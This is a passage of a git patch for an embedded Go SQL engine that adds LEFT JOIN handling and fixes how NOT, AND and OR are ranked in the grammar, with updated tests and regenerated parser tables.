reader.Close() + if err != nil { + return nil, err + } + + break + } else { // LEFT JOIN: fill column values with NULLs + cols, err := reader.Columns(ctx) + if err != nil { + return nil, err + } + + r = &Row{ + ValuesByPosition: make([]TypedValue, len(cols)), + ValuesBySelector: make(map[string]TypedValue, len(cols)), + } + + for i, col := range cols { + nullValue := NewNull(col.Type) + + r.ValuesByPosition[i] = nullValue + r.ValuesBySelector[col.Selector()] = nullValue + } } - - break - } - if err != nil { + } else if err != nil { reader.Close() return nil, err } diff --git a/embedded/sql/joint_row_reader_test.go b/embedded/sql/joint_row_reader_test.go index ba8fa267cd..f28e5e6bf4 100644 --- a/embedded/sql/joint_row_reader_test.go +++ b/embedded/sql/joint_row_reader_test.go @@ -51,9 +51,12 @@ func TestJointRowReader(t *testing.T) { r, err := newRawRowReader(tx, nil, table, period{}, "", &ScanSpecs{Index: table.primaryIndex}) require.NoError(t, err) - _, err = newJointRowReader(r, []*JoinSpec{{joinType: LeftJoin}}) + _, err = newJointRowReader(r, []*JoinSpec{{joinType: RightJoin}}) require.ErrorIs(t, err, ErrUnsupportedJoinType) + _, err = newJointRowReader(r, []*JoinSpec{{joinType: LeftJoin}}) + require.NoError(t, err) + _, err = newJointRowReader(r, []*JoinSpec{{joinType: InnerJoin, ds: &SelectStmt{}}}) require.NoError(t, err) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index c6cbe46d6c..ffab9e4ab6 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -3409,7 +3409,6 @@ func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[strin rowReader = newLimitRowReader(rowReader, limit) } } - return rowReader, nil } From b7ff0e66c0838e2f35f96c809937e7ff5605c332 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 29 Nov 2024 19:58:01 +0100 Subject: [PATCH 1060/1062] fix(embedded/sql): correctly handle logical operator precedence (NOT, AND, OR) Signed-off-by: Stefano Scafiti --- embedded/document/engine.go | 4 +- embedded/sql/parser.go | 13 +- embedded/sql/parser_test.go | 75 +++++-- embedded/sql/sql_grammar.y | 19 +- embedded/sql/sql_parser.go | 423 ++++++++++++++++++------------------ embedded/sql/stmt.go | 22 +- embedded/sql/stmt_test.go | 10 +- 7 files changed, 312 insertions(+), 254 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 2f752353ed..906bf408c3 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -1175,14 +1175,14 @@ func generateSQLFilteringExpression(expressions []*protomodel.QueryExpression, t if i == 0 { innerExp = fieldExp } else { - innerExp = sql.NewBinBoolExp(sql.AND, innerExp, fieldExp) + innerExp = sql.NewBinBoolExp(sql.And, innerExp, fieldExp) } } if i == 0 { outerExp = innerExp } else { - outerExp = sql.NewBinBoolExp(sql.OR, outerExp, innerExp) + outerExp = sql.NewBinBoolExp(sql.Or, outerExp, innerExp) } } diff --git a/embedded/sql/parser.go b/embedded/sql/parser.go index 7fb6f776f2..6b0e0b9277 100644 --- a/embedded/sql/parser.go +++ b/embedded/sql/parser.go @@ -83,6 +83,8 @@ var reservedWords = map[string]int{ "AS": AS, "ASC": ASC, "DESC": DESC, + "AND": AND, + "OR": OR, "NOT": NOT, "LIKE": LIKE, "EXISTS": EXISTS, @@ -157,11 +159,6 @@ var cmpOps = map[string]CmpOperator{ ">=": GE, } -var logicOps = map[string]LogicOperator{ - "AND": AND, - "OR": OR, -} - var ErrEitherNamedOrUnnamedParams = errors.New("either named or unnamed params") var ErrEitherPosOrNonPosParams = errors.New("either positional or non-positional named params") var ErrInvalidPositionalParameter = errors.New("invalid positional parameter") @@ -348,12 +345,6 @@ func (l *lexer) Lex(lval *yySymType) int { return BOOLEAN } - lop, ok := logicOps[tid] - if ok { - lval.logicOp = lop - return LOP - } - afn, ok := aggregateFns[tid] if ok { lval.aggFn = afn diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index 56c3ca0d9a..4c6efc679e 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -659,7 +659,7 @@ func TestInsertIntoStmt(t *testing.T) { }, targets: nil, where: &BinBoolExp{ - op: AND, + op: And, left: &CmpBoolExp{op: GE, left: &ColSelector{col: "balance"}, right: &Integer{val: 0}}, right: &CmpBoolExp{op: EQ, left: &ColSelector{col: "deleted_at"}, right: &NullValue{t: AnyType}}, }, @@ -1009,9 +1009,9 @@ func TestSelectStmt(t *testing.T) { }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ - op: AND, + op: And, left: &BinBoolExp{ - op: AND, + op: And, left: &CmpBoolExp{ op: EQ, left: &ColSelector{ @@ -1208,7 +1208,7 @@ func TestSelectStmt(t *testing.T) { }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ - op: AND, + op: And, left: &CmpBoolExp{ op: GE, left: &ColSelector{ @@ -1421,7 +1421,7 @@ func TestParseExp(t *testing.T) { }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ - op: AND, + op: And, left: &NotBoolExp{ exp: &CmpBoolExp{ op: GT, @@ -1453,7 +1453,7 @@ func TestParseExp(t *testing.T) { ds: &tableRef{table: "table1"}, where: &NotBoolExp{ exp: &BinBoolExp{ - op: AND, + op: And, left: &CmpBoolExp{ op: GT, left: &ColSelector{ @@ -1483,7 +1483,7 @@ func TestParseExp(t *testing.T) { }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ - op: OR, + op: Or, left: &NotBoolExp{ exp: &ColSelector{col: "active"}, }, @@ -1502,7 +1502,7 @@ func TestParseExp(t *testing.T) { }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ - op: AND, + op: And, left: &CmpBoolExp{ op: GT, left: &ColSelector{ @@ -1572,9 +1572,9 @@ func TestParseExp(t *testing.T) { }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ - op: OR, + op: Or, left: &BinBoolExp{ - op: AND, + op: And, left: &CmpBoolExp{ op: GT, left: &ColSelector{ @@ -1711,7 +1711,7 @@ func TestParseExp(t *testing.T) { whenThen: []whenThenClause{ { when: &BinBoolExp{ - op: OR, + op: Or, left: &ColSelector{col: "is_deleted"}, right: &ColSelector{col: "is_expired"}, }, @@ -1736,7 +1736,7 @@ func TestParseExp(t *testing.T) { whenThen: []whenThenClause{ { when: &BinBoolExp{ - op: OR, + op: Or, left: &ColSelector{col: "is_deleted"}, right: &ColSelector{col: "is_expired"}, }, @@ -1798,7 +1798,7 @@ func TestParseExp(t *testing.T) { }, { when: &BinBoolExp{ - op: AND, + op: And, left: &CmpBoolExp{op: GE, left: &ColSelector{col: "stock"}, right: &Integer{10}}, right: &CmpBoolExp{op: LE, left: &ColSelector{col: "stock"}, right: &Integer{50}}, }, @@ -1898,7 +1898,7 @@ func TestMultiLineStmts(t *testing.T) { }, ds: &tableRef{table: "table1"}, where: &BinBoolExp{ - op: AND, + op: And, left: &CmpBoolExp{ op: GE, left: &ColSelector{ @@ -2033,7 +2033,7 @@ func TestGrantRevokeStmt(t *testing.T) { } } -func TestExprString(t *testing.T) { +func TestExpString(t *testing.T) { exps := []string{ "(1 + 1) / (2 * 5 - 10) % 2", "@param LIKE 'pattern'", @@ -2043,6 +2043,8 @@ func TestExprString(t *testing.T) { "CASE WHEN in_stock THEN 'In Stock' END", "CASE WHEN 1 > 0 THEN 1 ELSE 0 END", "CASE WHEN is_active THEN 'active' WHEN is_expired THEN 'expired' ELSE 'active' END", + "'text' LIKE 'pattern'", + "'text' NOT LIKE 'pattern'", } for i, e := range exps { @@ -2056,3 +2058,46 @@ func TestExprString(t *testing.T) { }) } } + +func TestLogicOperatorPrecedence(t *testing.T) { + type testCase struct { + input string + expected string + } + + testCases := []testCase{ + // simple precedence + {input: "NOT true", expected: "(NOT true)"}, + {input: "true AND false OR true", expected: "((true AND false) OR true)"}, + {input: "NOT true AND false", expected: "((NOT true) AND false)"}, + {input: "NOT true OR false", expected: "((NOT true) OR false)"}, + + // parentheses override precedence + {input: "(true OR false) AND true", expected: "((true OR false) AND true)"}, + + // multiple NOTs + {input: "NOT NOT true AND false", expected: "((NOT (NOT true)) AND false)"}, + + // complex nesting + {input: "true AND (false OR (NOT false))", expected: "(true AND (false OR (NOT false)))"}, + {input: "NOT (true AND false) OR true", expected: "((NOT (true AND false)) OR true)"}, + + // AND/OR with nested groups + {input: "(true AND false) AND (true OR false)", expected: "((true AND false) AND (true OR false))"}, + {input: "(true OR false) OR (NOT (true AND false))", expected: "((true OR false) OR (NOT (true AND false)))"}, + + // deep nesting + {input: "(true AND (false OR (NOT true))) OR (NOT false)", expected: "((true AND (false OR (NOT true))) OR (NOT false))"}, + + // chain of operators + {input: "true AND false OR true AND NOT false OR true", expected: "(((true AND false) OR (true AND (NOT false))) OR true)"}, + } + + for _, tc := range testCases { + t.Run(tc.input, func(t *testing.T) { + e, err := ParseExpFromString(tc.input) + require.NoError(t, err) + require.Equal(t, tc.expected, e.String()) + }) + } +} diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index fb29908ac8..2898e16412 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -86,7 +86,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { %token NPARAM %token PPARAM %token JOINTYPE -%token LOP +%token AND OR %token CMPOP %token IDENTIFIER %token TYPE @@ -102,10 +102,14 @@ func setResult(l yyLexer, stmts []SQLStmt) { %left ',' %right AS -%left LOP + +%left OR +%left AND + %right LIKE %right NOT -%left CMPOP + +%left CMPOP %left '+' '-' %left '*' '/' '%' %left '.' @@ -1216,9 +1220,14 @@ binExp: $$ = &NumExp{left: $1, op: MODOP, right: $3} } | - exp LOP exp + exp AND exp + { + $$ = &BinBoolExp{left: $1, op: And, right: $3} + } +| + exp OR exp { - $$ = &BinBoolExp{left: $1, op: $2, right: $3} + $$ = &BinBoolExp{left: $1, op: Or, right: $3} } | exp CMPOP exp diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index bfe0d094d1..e19f1e3f05 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -151,20 +151,21 @@ const USERS = 57432 const NPARAM = 57433 const PPARAM = 57434 const JOINTYPE = 57435 -const LOP = 57436 -const CMPOP = 57437 -const IDENTIFIER = 57438 -const TYPE = 57439 -const INTEGER = 57440 -const FLOAT = 57441 -const VARCHAR = 57442 -const BOOLEAN = 57443 -const BLOB = 57444 -const AGGREGATE_FUNC = 57445 -const ERROR = 57446 -const DOT = 57447 -const ARROW = 57448 -const STMT_SEPARATOR = 57449 +const AND = 57436 +const OR = 57437 +const CMPOP = 57438 +const IDENTIFIER = 57439 +const TYPE = 57440 +const INTEGER = 57441 +const FLOAT = 57442 +const VARCHAR = 57443 +const BOOLEAN = 57444 +const BLOB = 57445 +const AGGREGATE_FUNC = 57446 +const ERROR = 57447 +const DOT = 57448 +const ARROW = 57449 +const STMT_SEPARATOR = 57450 var yyToknames = [...]string{ "$end", @@ -260,7 +261,8 @@ var yyToknames = [...]string{ "NPARAM", "PPARAM", "JOINTYPE", - "LOP", + "AND", + "OR", "CMPOP", "IDENTIFIER", "TYPE", @@ -301,136 +303,138 @@ var yyExca = [...]int16{ 78, 193, 81, 193, -2, 175, - -1, 268, + -1, 270, 59, 146, -2, 141, - -1, 318, + -1, 320, 59, 146, -2, 143, } const yyPrivate = 57344 -const yyLast = 593 +const yyLast = 611 var yyAct = [...]int16{ - 131, 431, 311, 107, 339, 153, 262, 355, 323, 201, - 115, 207, 322, 240, 245, 241, 317, 297, 306, 6, - 198, 71, 144, 22, 400, 147, 345, 260, 344, 260, - 419, 292, 130, 401, 362, 392, 403, 260, 384, 106, - 372, 260, 129, 363, 99, 161, 346, 101, 260, 391, - 301, 118, 114, 212, 21, 375, 371, 261, 116, 117, - 356, 369, 96, 119, 330, 109, 110, 111, 112, 113, - 108, 154, 155, 157, 156, 158, 100, 328, 327, 357, - 24, 325, 105, 178, 106, 291, 289, 288, 282, 99, - 259, 324, 101, 177, 296, 281, 118, 114, 177, 276, - 167, 168, 275, 116, 117, 274, 170, 172, 119, 149, - 109, 110, 111, 112, 113, 108, 273, 132, 210, 211, - 213, 100, 161, 247, 187, 180, 215, 105, 176, 175, - 169, 186, 143, 142, 159, 160, 145, 161, 430, 423, - 238, 362, 293, 292, 260, 209, 203, 420, 154, 155, - 157, 156, 158, 216, 236, 217, 218, 219, 220, 221, - 222, 223, 214, 152, 200, 157, 156, 158, 106, 204, - 184, 185, 83, 99, 234, 174, 101, 239, 242, 237, - 118, 114, 205, 178, 134, 287, 256, 116, 117, 230, - 249, 235, 119, 383, 109, 110, 111, 112, 113, 108, - 382, 337, 294, 32, 251, 100, 94, 267, 250, 342, - 33, 105, 341, 106, 265, 229, 238, 268, 99, 163, - 277, 101, 278, 199, 76, 118, 114, 378, 280, 271, - 269, 266, 116, 117, 286, 366, 350, 119, 349, 109, - 110, 111, 112, 113, 108, 348, 162, 329, 309, 148, - 100, 255, 254, 253, 252, 246, 105, 248, 243, 226, - 196, 195, 188, 181, 313, 150, 133, 122, 295, 120, - 91, 54, 315, 246, 303, 321, 161, 80, 79, 308, - 310, 308, 242, 78, 75, 334, 335, 70, 159, 160, - 320, 69, 31, 338, 77, 206, 22, 332, 166, 58, - 399, 331, 154, 155, 157, 156, 158, 165, 340, 381, - 231, 279, 398, 354, 60, 272, 380, 347, 358, 163, - 353, 225, 179, 161, 65, 242, 227, 21, 224, 228, - 121, 365, 161, 367, 368, 360, 370, 374, 364, 359, - 432, 433, 377, 333, 159, 160, 162, 284, 270, 285, - 233, 90, 55, 39, 414, 161, 22, 312, 154, 155, - 157, 156, 158, 161, 56, 57, 59, 159, 160, 49, - 263, 390, 214, 389, 393, 159, 160, 422, 386, 406, - 388, 154, 155, 157, 156, 158, 64, 21, 395, 154, - 155, 157, 156, 158, 145, 405, 307, 411, 408, 407, - 410, 361, 409, 151, 22, 52, 415, 62, 373, 412, - 417, 402, 385, 336, 66, 67, 161, 88, 51, 424, - 421, 161, 50, 428, 426, 425, 25, 429, 159, 160, - 82, 434, 92, 159, 160, 21, 435, 140, 396, 290, - 394, 161, 154, 155, 157, 156, 158, 154, 155, 157, - 156, 158, 161, 159, 160, 124, 208, 376, 189, 161, - 10, 12, 11, 342, 159, 160, 341, 154, 155, 157, - 156, 158, 160, 43, 47, 302, 53, 258, 154, 155, - 157, 156, 158, 13, 257, 154, 155, 157, 156, 158, - 192, 193, 14, 15, 190, 191, 48, 7, 137, 8, - 9, 16, 17, 418, 352, 18, 19, 85, 86, 87, - 26, 30, 22, 314, 44, 36, 182, 123, 46, 45, - 84, 135, 136, 81, 264, 42, 27, 29, 28, 68, - 34, 2, 35, 38, 326, 128, 127, 73, 74, 194, - 40, 183, 305, 21, 298, 299, 300, 138, 37, 125, - 304, 141, 139, 202, 23, 232, 63, 41, 351, 146, - 164, 379, 397, 413, 427, 343, 95, 93, 102, 387, - 98, 283, 97, 404, 171, 319, 318, 316, 126, 72, - 89, 61, 173, 103, 104, 416, 197, 244, 20, 5, - 4, 3, 1, + 131, 433, 313, 107, 341, 153, 264, 357, 325, 202, + 208, 115, 324, 242, 247, 243, 319, 308, 6, 299, + 199, 71, 144, 22, 402, 147, 347, 262, 346, 262, + 421, 294, 130, 403, 364, 394, 405, 262, 386, 106, + 374, 262, 129, 365, 99, 162, 348, 101, 262, 393, + 303, 118, 114, 377, 21, 373, 371, 263, 116, 117, + 332, 358, 96, 330, 119, 329, 109, 110, 111, 112, + 113, 108, 154, 155, 157, 156, 158, 100, 327, 293, + 359, 179, 291, 105, 106, 290, 284, 261, 326, 99, + 298, 178, 101, 283, 178, 278, 118, 114, 277, 276, + 168, 169, 275, 116, 117, 249, 171, 173, 149, 119, + 162, 109, 110, 111, 112, 113, 108, 132, 188, 181, + 177, 162, 100, 176, 161, 170, 143, 142, 105, 24, + 240, 187, 432, 159, 160, 161, 162, 154, 155, 157, + 156, 158, 425, 145, 238, 364, 204, 422, 154, 155, + 157, 156, 158, 217, 295, 218, 219, 220, 221, 222, + 223, 224, 225, 215, 201, 157, 156, 158, 294, 205, + 185, 186, 162, 262, 152, 83, 236, 175, 241, 244, + 239, 179, 213, 134, 159, 160, 161, 289, 258, 232, + 206, 339, 251, 237, 385, 384, 164, 296, 231, 154, + 155, 157, 156, 158, 32, 253, 240, 233, 269, 252, + 200, 33, 76, 380, 106, 267, 368, 352, 270, 99, + 351, 279, 101, 280, 163, 344, 118, 114, 343, 273, + 282, 271, 268, 116, 117, 350, 288, 331, 311, 119, + 148, 109, 110, 111, 112, 113, 108, 211, 212, 214, + 257, 256, 100, 94, 255, 254, 216, 248, 105, 250, + 245, 228, 197, 196, 189, 182, 315, 150, 133, 122, + 297, 120, 91, 54, 317, 210, 80, 323, 305, 79, + 310, 312, 310, 77, 244, 78, 75, 336, 337, 70, + 248, 69, 207, 322, 31, 340, 58, 22, 167, 334, + 401, 383, 333, 434, 435, 227, 281, 166, 382, 274, + 342, 60, 226, 309, 400, 356, 162, 180, 162, 349, + 360, 22, 355, 229, 121, 65, 230, 244, 21, 335, + 159, 160, 161, 367, 235, 369, 370, 362, 372, 376, + 366, 361, 272, 90, 379, 154, 155, 157, 156, 158, + 22, 314, 21, 39, 286, 55, 287, 416, 424, 106, + 265, 56, 57, 59, 99, 64, 408, 101, 390, 49, + 145, 118, 114, 392, 391, 215, 395, 407, 116, 117, + 388, 21, 363, 151, 119, 52, 109, 110, 111, 112, + 113, 108, 62, 66, 67, 414, 404, 100, 88, 413, + 410, 409, 412, 105, 411, 387, 51, 50, 417, 25, + 82, 92, 419, 344, 398, 164, 343, 396, 162, 378, + 190, 426, 423, 193, 194, 430, 428, 427, 162, 431, + 159, 160, 161, 436, 124, 191, 192, 140, 437, 137, + 159, 160, 161, 163, 397, 154, 155, 157, 156, 158, + 304, 260, 375, 259, 420, 154, 155, 157, 156, 158, + 162, 338, 135, 136, 354, 316, 183, 292, 123, 162, + 84, 81, 159, 160, 161, 266, 68, 328, 2, 195, + 162, 159, 160, 161, 128, 127, 184, 154, 155, 157, + 156, 158, 159, 160, 161, 138, 154, 155, 157, 156, + 158, 162, 36, 63, 43, 47, 162, 154, 155, 157, + 156, 158, 125, 159, 160, 161, 307, 34, 159, 35, + 161, 10, 12, 11, 38, 141, 209, 48, 154, 155, + 157, 156, 158, 154, 155, 157, 156, 158, 306, 37, + 73, 74, 139, 203, 13, 44, 53, 23, 234, 46, + 45, 41, 353, 14, 15, 146, 42, 165, 7, 381, + 8, 9, 16, 17, 26, 30, 18, 19, 399, 415, + 429, 40, 345, 22, 300, 301, 302, 85, 86, 87, + 27, 29, 28, 95, 93, 102, 389, 98, 285, 97, + 406, 172, 321, 320, 318, 126, 72, 89, 61, 174, + 103, 104, 418, 198, 21, 246, 20, 5, 4, 3, + 1, } var yyPact = [...]int16{ - 456, -1000, -1000, -34, -1000, -1000, -1000, 384, -1000, -1000, - 503, 196, 507, 525, 469, 469, 375, 371, 347, 175, - 282, 276, 350, -1000, 456, -1000, 245, 245, 245, 504, - 195, -1000, 191, 521, 188, 198, 187, 182, 181, 497, - 390, 65, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 494, - 175, 175, 175, 366, -1000, 280, -1000, -1000, 174, -1000, - 393, 96, -1000, -1000, 173, 253, 171, 491, 245, 540, - -1000, -1000, 517, 12, 12, -1000, 170, 79, -1000, 493, - 538, 545, -1000, 469, 544, 18, 17, 333, 153, 240, - -1000, -1000, 169, 345, -1000, 56, 250, 221, -1000, 141, - 141, 15, -1000, -1000, -1000, 141, 141, 69, 14, -1000, - -1000, -1000, -1000, -1000, 13, -1000, -1000, -1000, -1000, -22, - -1000, 242, 10, 167, 490, 531, -1000, 12, 12, -1000, - 141, 359, -1000, 9, 166, 427, 464, 459, 529, 165, - -1000, 164, 127, 127, 547, 141, 75, -1000, 200, -1000, - -1000, 30, 141, -1000, 141, 141, 141, 141, 141, 141, - 141, 244, -1000, 163, 248, 118, -1000, 377, 55, 240, - 194, 277, 359, 68, 91, 44, 141, 141, 162, -1000, - 159, 8, 161, 90, -1000, -1000, 359, 127, -1000, 159, - 158, 157, 156, 155, 86, 454, 447, -26, 37, -1000, - -59, 306, 499, 359, 547, 153, 141, 547, 521, 300, - 1, -10, -13, -16, 150, -17, 250, 55, 55, 241, - 241, 241, 377, -37, -1000, 227, -1000, 141, -20, -1000, - -28, -1000, 274, 141, 85, -1000, -29, -30, 78, 370, - -31, 36, 359, -1000, 35, -1000, 105, 127, -21, 533, - -66, -1000, -1000, 445, -1000, -1000, 533, 542, 534, 348, - 152, 348, 292, 141, 487, 306, -1000, 359, 197, 150, - -24, -35, 513, -38, -39, 151, -52, -1000, -1000, -1000, - 377, -33, -1000, 267, 141, 141, 339, -1000, -1000, -1000, - 104, -1000, 141, 177, -89, -70, 127, -1000, -1000, -1000, - -1000, -1000, 149, -1000, 142, 140, 478, -24, -1000, -1000, - -1000, -1000, 141, 359, -36, 292, 333, -1000, 197, 342, - -1000, -1000, -73, -1000, 141, 150, 139, 150, 150, -55, - 150, -60, -76, -1000, 334, 359, 141, -61, 359, 424, - -1000, 141, 131, 232, 102, 95, -1000, -78, -1000, -1000, - -1000, -1000, 360, 34, 359, -1000, -1000, 127, -1000, 318, - -1000, 30, -24, -1000, -67, -1000, -81, -1000, -1000, -1000, - -1000, -1000, -1000, 141, 359, -1000, 406, 281, 403, 229, - -1000, 216, -94, -83, -1000, 358, -80, 335, 316, 547, - -1000, -1000, 150, 359, -36, 431, 141, -1000, -1000, -1000, - -1000, -1000, 355, -1000, 288, 141, 120, 477, -1000, -86, - -1000, 40, -1000, 306, 314, 359, 32, -1000, 141, -1000, - 431, 292, 141, 120, 359, -1000, -1000, 31, 273, -1000, - 141, -1000, -1000, -1000, 273, -1000, + 517, -1000, -1000, 14, -1000, -1000, -1000, 367, -1000, -1000, + 557, 197, 494, 516, 500, 500, 360, 359, 327, 176, + 285, 273, 335, -1000, 517, -1000, 246, 246, 246, 451, + 194, -1000, 192, 524, 189, 186, 188, 182, 179, 445, + 370, 67, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 444, + 176, 176, 176, 347, -1000, 272, -1000, -1000, 175, -1000, + 372, 142, -1000, -1000, 174, 247, 172, 442, 246, 503, + -1000, -1000, 466, 12, 12, -1000, 171, 77, -1000, 434, + 486, 535, -1000, 500, 518, 11, 10, 309, 143, 241, + -1000, -1000, 170, 325, -1000, 66, 346, 221, -1000, 287, + 287, 9, -1000, -1000, -1000, 287, 287, 70, 7, -1000, + -1000, -1000, -1000, -1000, 4, -1000, -1000, -1000, -1000, -25, + -1000, 237, 3, 168, 440, 476, -1000, 12, 12, -1000, + 287, 419, -1000, 2, 167, 389, 405, 392, 469, 166, + -1000, 165, 113, 113, 537, 287, 82, -1000, 196, -1000, + -1000, 159, 287, -1000, 287, 287, 287, 287, 287, 287, + 287, 287, 228, -1000, 164, 245, 100, -1000, 28, 54, + 241, 90, 261, 419, 69, 92, 33, 287, 287, 163, + -1000, 160, -11, 162, 91, -1000, -1000, 419, 113, -1000, + 160, 158, 157, 154, 153, 87, 423, 421, -30, 65, + -1000, -60, 296, 450, 419, 537, 143, 287, 537, 524, + 294, -14, -17, -18, -21, 127, -22, 346, 54, 54, + 234, 234, 234, 28, 424, -37, -1000, 222, -1000, 287, + -23, -1000, -31, -1000, 281, 287, 86, -1000, -32, -35, + 75, 398, -38, 60, 419, -1000, 46, -1000, 99, 113, + -26, 563, -67, -1000, -1000, 420, -1000, -1000, 563, 530, + 508, 265, 141, 265, 286, 287, 439, 296, -1000, 419, + 200, 127, -28, -39, 456, -52, -54, 140, -57, -1000, + -1000, -1000, 28, -33, -1000, 253, 287, 287, 387, -1000, + -1000, -1000, 93, -1000, 287, 193, -90, -71, 113, -1000, + -1000, -1000, -1000, -1000, 138, -1000, 123, 120, 438, -28, + -1000, -1000, -1000, -1000, 287, 419, -36, 286, 309, -1000, + 200, 323, -1000, -1000, -74, -1000, 287, 127, 119, 127, + 127, -61, 127, -62, -77, -1000, 378, 419, 287, -64, + 419, 386, -1000, 287, 116, 224, 96, 95, -1000, -79, + -1000, -1000, -1000, -1000, 353, 37, 419, -1000, -1000, 113, + -1000, 306, -1000, 159, -28, -1000, -68, -1000, -82, -1000, + -1000, -1000, -1000, -1000, -1000, 287, 419, -1000, 383, 336, + 379, 231, -1000, 216, -95, -84, -1000, 343, -81, 317, + 303, 537, -1000, -1000, 127, 419, -36, 381, 287, -1000, + -1000, -1000, -1000, -1000, 341, -1000, 291, 287, 109, 428, + -1000, -87, -1000, 39, -1000, 296, 295, 419, 34, -1000, + 287, -1000, 381, 286, 287, 109, 419, -1000, -1000, 24, + 236, -1000, 287, -1000, -1000, -1000, 236, -1000, } var yyPgo = [...]int16{ - 0, 592, 531, 591, 590, 589, 19, 588, 587, 14, - 20, 7, 586, 585, 12, 8, 15, 13, 584, 10, - 583, 582, 3, 581, 580, 11, 18, 456, 21, 579, - 578, 42, 577, 16, 576, 575, 4, 0, 574, 22, - 573, 572, 571, 570, 569, 6, 2, 568, 567, 566, - 565, 5, 564, 563, 1, 9, 386, 562, 561, 560, - 25, 559, 558, 17, 557, 353, 555, 554, + 0, 610, 478, 609, 608, 607, 18, 606, 605, 14, + 20, 7, 603, 602, 12, 8, 15, 13, 601, 11, + 600, 599, 3, 598, 597, 10, 17, 526, 21, 596, + 595, 42, 594, 16, 593, 592, 4, 0, 591, 22, + 590, 589, 588, 587, 586, 6, 2, 585, 584, 583, + 572, 5, 570, 569, 1, 9, 365, 568, 559, 557, + 25, 555, 552, 19, 551, 353, 548, 547, } var yyR1 = [...]int8{ @@ -454,7 +458,7 @@ var yyR1 = [...]int8{ 36, 36, 36, 38, 38, 37, 37, 37, 37, 37, 37, 37, 37, 37, 47, 66, 66, 42, 42, 41, 41, 41, 41, 59, 59, 43, 43, 43, 43, 43, - 43, 43, 43, 43, + 43, 43, 43, 43, 43, } var yyR2 = [...]int8{ @@ -478,54 +482,54 @@ var yyR2 = [...]int8{ 0, 4, 6, 0, 1, 1, 1, 2, 2, 4, 4, 6, 6, 1, 5, 4, 5, 0, 2, 1, 1, 3, 3, 0, 1, 3, 3, 3, 3, 3, - 3, 3, 3, 4, + 3, 3, 3, 3, 4, } var yyChk = [...]int16{ -1000, -1, -2, -3, -4, -5, -6, 41, 43, 44, 4, 6, 5, 27, 36, 37, 45, 46, 49, 50, - -7, 87, 56, -67, 114, 42, 7, 23, 25, 24, - 8, 96, 7, 14, 23, 25, 8, 23, 8, -65, + -7, 87, 56, -67, 115, 42, 7, 23, 25, 24, + 8, 97, 7, 14, 23, 25, 8, 23, 8, -65, 71, -64, 56, 4, 45, 50, 49, 5, 27, -65, - 47, 47, 58, -27, 96, 70, 88, 89, 23, 90, - 38, -23, 57, -2, -56, 79, -56, -56, 25, 96, - 96, -28, -29, 16, 17, 96, 26, 96, 96, 96, - 96, 26, 40, 107, 26, -27, -27, -27, 51, -24, - 71, 96, 39, -48, 110, -49, -37, -41, -43, 77, - 109, 80, -47, -20, -18, 115, 72, -22, 103, 98, - 99, 100, 101, 102, 85, -19, 91, 92, 84, 96, - 96, 77, 96, 26, -56, 9, -30, 19, 18, -31, - 20, -37, -31, 96, 105, 28, 29, 5, 9, 7, - -65, 7, 115, 115, -39, 61, -61, -60, 96, -6, - 96, 58, 107, -51, 108, 109, 111, 110, 112, 94, - 95, 82, 96, 69, -59, 86, 77, -37, -37, 115, - -37, -38, -37, -21, 106, 115, 115, 115, 105, 80, - 115, 96, 26, 10, -31, -31, -37, 115, 96, 31, - 30, 31, 31, 32, 10, 96, 96, -12, -10, 96, - -10, -55, 6, -37, -39, 107, 95, -25, -27, 115, - 88, 89, 23, 90, -19, 96, -37, -37, -37, -37, - -37, -37, -37, -37, 84, 77, 96, 78, 81, 97, - -6, 116, -66, 73, 106, 100, 110, -22, 96, -37, - -17, -16, -37, 96, -8, -9, 96, 115, 96, 100, - -10, -9, 96, 96, 96, 96, 100, 30, 30, 116, - 107, 116, -45, 64, 25, -55, -60, -37, -55, -28, - 48, -6, 15, 115, 115, 115, 115, -51, -51, 84, - -37, 115, 116, -42, 73, 75, -37, 100, 116, 116, - 69, 116, 107, 107, 97, -10, 115, -63, 11, 12, - 13, 116, 30, -63, 8, 8, -26, 48, -6, 96, - -26, -46, 65, -37, 26, -45, -32, -33, -34, -35, - 93, -51, -14, -15, 115, 116, 21, 116, 116, 96, - 116, -6, -16, 76, -37, -37, 74, 97, -37, -36, - -9, 35, 32, -50, 117, 115, 116, -10, 96, 96, - 96, -62, 26, -14, -37, -11, 96, 115, -46, -39, - -33, 59, 107, 116, -17, -51, 96, -51, -51, 116, - -51, 116, 116, 74, -37, 116, 33, -37, 96, -58, - 84, 77, 98, 98, 116, 52, -10, -44, 62, -25, - -15, 116, 116, -37, 34, 107, 35, -57, 83, 84, - 118, 116, 53, 116, -40, 60, 63, -55, -51, -11, - -36, -37, 54, -53, 66, -37, -13, -22, 26, 116, - 107, -45, 63, 107, -37, -36, -46, -52, -37, -22, - 107, -54, 67, 68, -37, -54, + 47, 47, 58, -27, 97, 70, 88, 89, 23, 90, + 38, -23, 57, -2, -56, 79, -56, -56, 25, 97, + 97, -28, -29, 16, 17, 97, 26, 97, 97, 97, + 97, 26, 40, 108, 26, -27, -27, -27, 51, -24, + 71, 97, 39, -48, 111, -49, -37, -41, -43, 77, + 110, 80, -47, -20, -18, 116, 72, -22, 104, 99, + 100, 101, 102, 103, 85, -19, 91, 92, 84, 97, + 97, 77, 97, 26, -56, 9, -30, 19, 18, -31, + 20, -37, -31, 97, 106, 28, 29, 5, 9, 7, + -65, 7, 